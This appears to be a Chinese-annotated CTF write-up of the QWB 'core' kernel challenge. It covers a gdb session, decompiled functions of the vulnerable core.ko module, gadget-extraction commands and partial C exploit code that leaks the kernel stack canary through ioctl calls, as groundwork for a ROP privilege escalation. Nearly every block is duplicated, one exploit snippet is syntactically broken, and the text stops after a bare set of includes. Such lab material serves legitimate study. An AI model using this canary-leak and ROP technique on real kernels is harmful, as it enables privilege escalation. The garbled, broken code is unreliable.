ub20@ub20:~/KernelStu/KernelVuln/Kernel_ROP_basic/give_to_player$ bash ./gdb.sh 0xffffffffc0355000
Remote debugging using localhost:1234
warning: No executable has been specified and target does not support
determining executable automatically. Try using the "file" command.
0xffffffff8fc6e7d2 in ?? ()
add symbol table from file "./core.ko" at
.text_addr = 0xffffffffc0355000
(y or n) y
Reading symbols from ./core.ko...
(No debugging symbols found in ./core.ko)
Breakpoint 1 at 0xffffffffc03550f6
Breakpoint 2 at 0xffffffffc0355011
Breakpoint 3 at 0xffffffffc035515f
Breakpoint 4 at 0xffffffffc0355131
Continuing.
Breakpoint 3, 0xffffffffc035515f in core_ioctl ()
(gdb) ni
0xffffffffc0355165 in core_ioctl ()
(gdb)
// 定义模块初始化函数,返回值类型为 64 位整数
__int64
init_module()
{
// 创建一个新的 proc 文件系统入口
core_proc = proc_create(
"core"
, 438LL, 0LL, &core_fops);
// 打印内核日志信息
printk(&unk_2DE);
return
0LL;
}
// 定义模块初始化函数,返回值类型为 64 位整数
__int64
init_module()
{
// 创建一个新的 proc 文件系统入口
core_proc = proc_create(
"core"
, 438LL, 0LL, &core_fops);
// 打印内核日志信息
printk(&unk_2DE);
return
0LL;
}
struct
file_operations {
struct
module *owner;
loff_t (*llseek) (
struct
file *, loff_t,
int
);
ssize_t (*read) (
struct
file *,
char
__user *,
size_t
, loff_t *);
ssize_t (*write) (
struct
file *,
const
char
__user *,
size_t
, loff_t *);
long
(*unlocked_ioctl) (
struct
file *, unsigned
int
, unsigned
long
);
int
(*release) (
struct
inode *,
struct
file *);
// 其他字段...
};
struct
file_operations {
struct
module *owner;
loff_t (*llseek) (
struct
file *, loff_t,
int
);
ssize_t (*read) (
struct
file *,
char
__user *,
size_t
, loff_t *);
ssize_t (*write) (
struct
file *,
const
char
__user *,
size_t
, loff_t *);
long
(*unlocked_ioctl) (
struct
file *, unsigned
int
, unsigned
long
);
int
(*release) (
struct
inode *,
struct
file *);
// 其他字段...
};
.data:0000000000000420 40 05 00 00 00 00 00 00 core_fops dq offset __this_module
.data:0000000000000438 11 00 00 00 00 00 00 00 dq offset core_write
.data:0000000000000468 5F 01 00 00 00 00 00 00 dq offset core_ioctl
.data:0000000000000498 00 00 00 00 00 00 00 00 dq offset core_release
.data:0000000000000420 40 05 00 00 00 00 00 00 core_fops dq offset __this_module
.data:0000000000000438 11 00 00 00 00 00 00 00 dq offset core_write
.data:0000000000000468 5F 01 00 00 00 00 00 00 dq offset core_ioctl
.data:0000000000000498 00 00 00 00 00 00 00 00 dq offset core_release
__int64
__fastcall core_write(
__int64
a1,
__int64
a2, unsigned
__int64
a3)
{
printk(&unk_215);
if
( a3 <= 0x800 && !copy_from_user(&name, a2, a3) )
return
a3;
printk(&unk_230);
return
4294967282LL;
}
__int64
__fastcall core_write(
__int64
a1,
__int64
a2, unsigned
__int64
a3)
{
printk(&unk_215);
if
( a3 <= 0x800 && !copy_from_user(&name, a2, a3) )
return
a3;
printk(&unk_230);
return
4294967282LL;
}
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/ioctl.h>
int
main() {
int
fd;
char
buf[0x50];
size_t
canary;
fd = open(
"/proc/core"
, 2);
// 打开内核模块
if
(fd < 0) {
printf
(
"Failed to open /proc/core\n"
);
exit
(-1);
}
rop_chain =
"ROP"
write(fd, rop_chain, 0x800);
// 向bss段的name变量写入ROP链
return
0;
}
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/ioctl.h>
int
main() {
int
fd;
char
buf[0x50];
size_t
canary;
fd = open(
"/proc/core"
, 2);
// 打开内核模块
if
(fd < 0) {
printf
(
"Failed to open /proc/core\n"
);
exit
(-1);
}
rop_chain =
"ROP"
write(fd, rop_chain, 0x800);
// 向bss段的name变量写入ROP链
return
0;
}
unsigned
__int64
__fastcall core_read(
__int64
a1)
{
char
*v2;
// rdi - 用于遍历和初始化数组的指针
__int64
i;
// rcx - 循环计数器
unsigned
__int64
result;
// rax - 存储函数返回值
char
v5[64];
// [rsp+0h] [rbp-50h] BYREF - 64字节的缓冲区
unsigned
__int64
v6;
// [rsp+40h] [rbp-10h] - 存储canary值,用于栈保护
// 读取当前线程的栈保护canary值
v6 = __readgsqword(0x28u);
// 打印内核日志信息
printk(&unk_25B);
printk(&unk_275);
// 初始化v5数组,每4个字节置0
v2 = v5;
for
( i = 16LL; i; --i )
{
*v2 = 0;
// 将当前指针指向的位置置0
v2 += 4;
// 指针移动到下一个4字节位置
}
// 将字符串拷贝到v5缓冲区
strcpy
(v5,
"Welcome to the QWB CTF challenge.\n"
);
// 将v5缓冲区中的数据拷贝到用户空间
result = copy_to_user(a1, &v5[off], 64LL);
// 如果拷贝成功,返回canary值的异或结果
if
( !result )
return
__readgsqword(0x28u) ^ v6;
// 交换GS寄存器,返回到用户空间
__asm { swapgs }
return
result;
}
unsigned
__int64
__fastcall core_read(
__int64
a1)
{
char
*v2;
// rdi - 用于遍历和初始化数组的指针
__int64
i;
// rcx - 循环计数器
unsigned
__int64
result;
// rax - 存储函数返回值
char
v5[64];
// [rsp+0h] [rbp-50h] BYREF - 64字节的缓冲区
unsigned
__int64
v6;
// [rsp+40h] [rbp-10h] - 存储canary值,用于栈保护
// 读取当前线程的栈保护canary值
v6 = __readgsqword(0x28u);
// 打印内核日志信息
printk(&unk_25B);
printk(&unk_275);
// 初始化v5数组,每4个字节置0
v2 = v5;
for
( i = 16LL; i; --i )
{
*v2 = 0;
// 将当前指针指向的位置置0
v2 += 4;
// 指针移动到下一个4字节位置
}
// 将字符串拷贝到v5缓冲区
strcpy
(v5,
"Welcome to the QWB CTF challenge.\n"
);
// 将v5缓冲区中的数据拷贝到用户空间
result = copy_to_user(a1, &v5[off], 64LL);
// 如果拷贝成功,返回canary值的异或结果
if
( !result )
return
__readgsqword(0x28u) ^ v6;
// 交换GS寄存器,返回到用户空间
__asm { swapgs }
return
result;
}
__int64
exit_core()
{
__int64
result;
// rax
if
( core_proc )
return
remove_proc_entry(
"core"
);
return
result;
}
__int64
exit_core()
{
__int64
result;
// rax
if
( core_proc )
return
remove_proc_entry(
"core"
);
return
result;
}
__int64
core_release()
{
printk(&unk_204);
return
0LL;
}
__int64
core_release()
{
printk(&unk_204);
return
0LL;
}
__int64
__fastcall core_ioctl(
__int64
a1,
int
a2,
__int64
a3)
{
switch
( a2 )
{
case
0x6677889B:
core_read(a3);
break
;
case
0x6677889C:
printk(&unk_2CD);
off = a3;
break
;
case
0x6677889A:
printk(&unk_2B3);
core_copy_func(a3);
break
;
}
return
0LL;
}
__int64
__fastcall core_ioctl(
__int64
a1,
int
a2,
__int64
a3)
{
switch
( a2 )
{
case
0x6677889B:
core_read(a3);
break
;
case
0x6677889C:
printk(&unk_2CD);
off = a3;
break
;
case
0x6677889A:
printk(&unk_2B3);
core_copy_func(a3);
break
;
}
return
0LL;
}
unsigned
__int64
__fastcall core_read(
__int64
a1)
{
char
v5[64];
// 64 字节缓冲区
unsigned
__int64
v6;
v6 = __readgsqword(0x28u);
// 读取当前线程的 canary
// 打印内核日志信息
printk(&unk_25B);
printk(&unk_275);
// 初始化 v5 数组
for
( i = 16LL; i; --i )
*v2 = 0, v2 += 4;
// 将固定字符串拷贝到 v5 中
strcpy
(v5,
"Welcome to the QWB CTF challenge.\n"
);
// 根据 off 变量,从 v5 中拷贝 64 字节数据到用户空间
result = copy_to_user(a1, &v5[off], 64LL);
// 若拷贝成功,返回两个 canary 异或的结果
if
( !result )
return
__readgsqword(0x28u) ^ v6;
__asm { swapgs }
return
result;
}
unsigned
__int64
__fastcall core_read(
__int64
a1)
{
char
v5[64];
// 64 字节缓冲区
unsigned
__int64
v6;
v6 = __readgsqword(0x28u);
// 读取当前线程的 canary
// 打印内核日志信息
printk(&unk_25B);
printk(&unk_275);
// 初始化 v5 数组
for
( i = 16LL; i; --i )
*v2 = 0, v2 += 4;
// 将固定字符串拷贝到 v5 中
strcpy
(v5,
"Welcome to the QWB CTF challenge.\n"
);
// 根据 off 变量,从 v5 中拷贝 64 字节数据到用户空间
result = copy_to_user(a1, &v5[off], 64LL);
// 若拷贝成功,返回两个 canary 异或的结果
if
( !result )
return
__readgsqword(0x28u) ^ v6;
__asm { swapgs }
return
result;
}
__int64
__fastcall core_copy_func(
__int64
a1)
{
__int64
result;
_QWORD v2[10];
// 局部数组,位于栈上
// 将 GS 寄存器偏移 0x28 的值读入,常用于栈保护(canary)
v2[8] = __readgsqword(0x28u);
// 打印调试信息
printk(&unk_215);
// 对拷贝长度进行判断,若大于 63 则报错
if
( a1 > 63 )
{
printk(&unk_2A1);
return
0xFFFFFFFFLL;
}
else
{
result = 0LL;
// 将 bss 段上存储的 name 数据拷贝到栈上 v2 数组中,
// 拷贝长度由 a1 指定,类型转换为 unsigned __int16
qmemcpy(v2, &name, (unsigned
__int16
)a1);
}
return
result;
}
__int64
__fastcall core_copy_func(
__int64
a1)
{
__int64
result;
_QWORD v2[10];
// 局部数组,位于栈上
// 将 GS 寄存器偏移 0x28 的值读入,常用于栈保护(canary)
v2[8] = __readgsqword(0x28u);
// 打印调试信息
printk(&unk_215);
// 对拷贝长度进行判断,若大于 63 则报错
if
( a1 > 63 )
{
printk(&unk_2A1);
return
0xFFFFFFFFLL;
}
else
{
result = 0LL;
// 将 bss 段上存储的 name 数据拷贝到栈上 v2 数组中,
// 拷贝长度由 a1 指定,类型转换为 unsigned __int16
qmemcpy(v2, &name, (unsigned
__int16
)a1);
}
return
result;
}
ropper --
file
vmlinux --all > gadgets.txt
ropper --
file
vmlinux --all > gadgets.txt
ROPgadget --binary .
/vmlinux
> gadgets1.txt
ROPgadget --binary .
/vmlinux
> gadgets1.txt
.
/extract-vmlinux
.
/bzImage
> vmlinux
.
/extract-vmlinux
.
/bzImage
> vmlinux
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/ioctl.h>
void
set_off_val(
int
fd,
size_t
off) {
ioctl(fd, 0x6677889C, off);
// 设置off变量的值
}
void
core_read(
int
fd,
char
*buf) {
ioctl(fd, 0x6677889B, buf);
// 读取内核数据
}
int
main() {
int
fd;
char
buf[0x50];
size_t
canary;
fd = open(
"/proc/core"
, 2);
// 打开内核模块
if
(fd < 0) {
printf
(
"Failed to open /proc/core\n"
);
exit
(-1);
}
// 获取Canary值
set_off_val(fd, 64);
// 设置off变量的值为64
core_read(fd, buf);
// 将指定内核地址的数据读取到buf中
canary = ((
size_t
*)buf)[0];
// 提取Canary值
printf
(
"Canary: 0x%lx\n"
, canary);
// 输出Canary值
// close(fd); // 关闭文件描述符
// return 0;
}
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/ioctl.h>